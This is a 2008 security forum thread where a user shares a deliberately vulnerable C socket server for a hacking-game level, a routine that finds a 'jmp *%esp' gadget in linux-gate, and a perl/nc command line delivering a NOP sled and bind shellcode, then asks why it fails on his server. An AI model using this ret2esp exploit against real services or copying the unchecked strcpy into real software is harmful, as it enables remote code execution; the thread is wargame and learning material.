Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
This group should mostly be dealing with how web applications enable networking security issues that are otherwise not there. Everything is being tunneled over port 80 now so what does that enable and how do we fix it? 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
Buffer overflow and ret2esp problem
Posted by: BlackLight
Date: January 23, 2008 04:26PM

Hi,

I'm posting here as it seems the most appropriate section to me, if it's not ok feel free to move my post.

I'm developing a little hack game on my web site, and for a high level I'm preparing a BOF vulnerable application running on User Mode Linux on my server (with a very unprivileged user). The code is the classical kind of vulnerable server code in these cases:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define PORT            12345
#define MAXCONN 5
#define SIZE            BUFSIZ
#define STR             "Stringa ricevuta - niente overflow\n"

void addr_init (struct sockaddr_in *addr, int port, long int ip)  {
        addr->sin_family=AF_INET;
        addr->sin_port = htons ((u_short) port);
        addr->sin_addr.s_addr=ip;
}

void error (char *msg)  {
        perror (msg);
        exit(1);
}

void view (char *str)  {
        char buff[1024];

        strcpy (buff,str);
        printf ("Il client ha inviato: %s\n",buff);
}

void foo(int sig)  {
        printf ("Ricevuto segnale %d - applicazione terminata\n");
        exit(255);
}

main(int argc, char **argv)  {
        int sd,new_sd;
        struct sockaddr_in server,client;
        unsigned int sock_size=sizeof(struct sockaddr_in);
        int i,n_read;
        char buff;

        addr_init (&server,PORT,INADDR_ANY);

        if ((sd=socket(AF_INET,SOCK_STREAM,0)) < 0)
                error ("Impossibile inizializzare il socket TCP/IP\n");

        if (bind(sd, (struct sockaddr*) &server, sizeof(server))<0)
                error ("Impossibile aprire una connessione sulla porta\n"
                                "La porta potrebbe essere giĆ  in uso da un'altra applicazione\n");

        printf ("Server in ascolto sulla porta %d\n",PORT);

        if (listen(sd,MAXCONN)<0)
                error ("Impossibile accettare nuove connessioni sul socket creato\n");

        printf ("Server in ascolto - accetta fino a un massimo di %d connessioni\n",MAXCONN);
        signal (SIGINT,foo);

        while (1)  {
                if ((new_sd=accept(sd, (struct sockaddr*) &client, &sock_size)) < 0)
                        error ("Impossibile accettare una connessione dal client\n");

                printf ("Connessione stabilita con successo con il client %s sulla porta %d\n",
                                inet_ntoa(client.sin_addr.s_addr), ntohs (client.sin_port) );

                n_read=read(new_sd,buff,SIZE);
                buff[n_read]=0;
                view(buff);

                write (new_sd,STR,sizeof(STR));
                close(new_sd);
                return 0;
        }
}

I've also developed a little function to compute the address where a JMP *%esp is located on linux-gate.so, in order to use that address to jump on the stack and execute my code:

typedef unsigned long int u32;
typedef enum { false,true } bool;

u32 get_jmp(int range)  {
        char *ptr = (char *) 0xffffe000;
        bool found=false;
        int i;

        for (i=0; i<range; i++)  {
                if (ptr == '\xff' && ptr[i+1] == '\xe4') {
                        found=true;
                        printf("* 0x%08x : jmp *%%esp\n", ptr+i);
                        break;
                }
        }

        if (!found)
                return 0;
        else
                return (u32) ptr+i;
}

that returns this way:

* 0xffffe75b : jmp *%esp

Now I've structured the attack this way:

buff=`perl -e 'print "\x90" x1032'``perl -e 'print "\x5b\xe7\xff\xff"'``cat bind`
echo $buff | nc -vv localhost 12345

in order to fill the buffer, jump on the stack and execute a bind shell taken from shellcode.org and put in 'bind' file. Now when I'm on localhost, on my laptop or on a Linux image running on it in User Mode Linux, I've got no problem in exploiting the vulnerable app using this method. The problems rise when I try it on the server, on which I'm going to put the executable. Here I get no reference to JMP *%esp in linux-gate using the same function in the same byte range. How can this happen?

Oh, I've got Slackware both on my laptop and server, respectively with 2.6.23.1 and 2.6.21.5 kernel. For User Mode Linux I'm using the same Debian image on both system, and 2.6.24 kernel on both of them. How can the same kernel running in User Mode Linux take to different results in searching a code?

Thanks
BlackLight

-----BEGIN GEEK CODE BLOCK-----
Version: 3.1
GCS/CM/CC/E/IT/LS/M d-(--) s:- a-- C+++$ UBL++++$ P+++ L+++++$ E- W+++ N+ o? K? w-- !O !M>+ !V PS+++ PE-- Y++ PGP+ !t !5 !X R+ tv-- b++>+++ DI? D+ G>+++ e++>++++ h r++ y+++
------END GEEK CODE BLOCK------

http://blacklight.gotdns.org

Options: ReplyQuote
Re: Buffer overflow and ret2esp problem
Posted by: Anonymous User
Date: January 24, 2008 02:50AM

I can assume they aren't configured the same, and what happens when you try to increase/decrease the buffer you set and attach gdb or olly? it must jump to the wrong address.

Another nobrainer could be that you hit the Firewall, since I can also assume you haven't got this problem locally.

Mere guesses, I haven't got the time to test your code.

Options: ReplyQuote


Sorry, only registered users may post in this forum.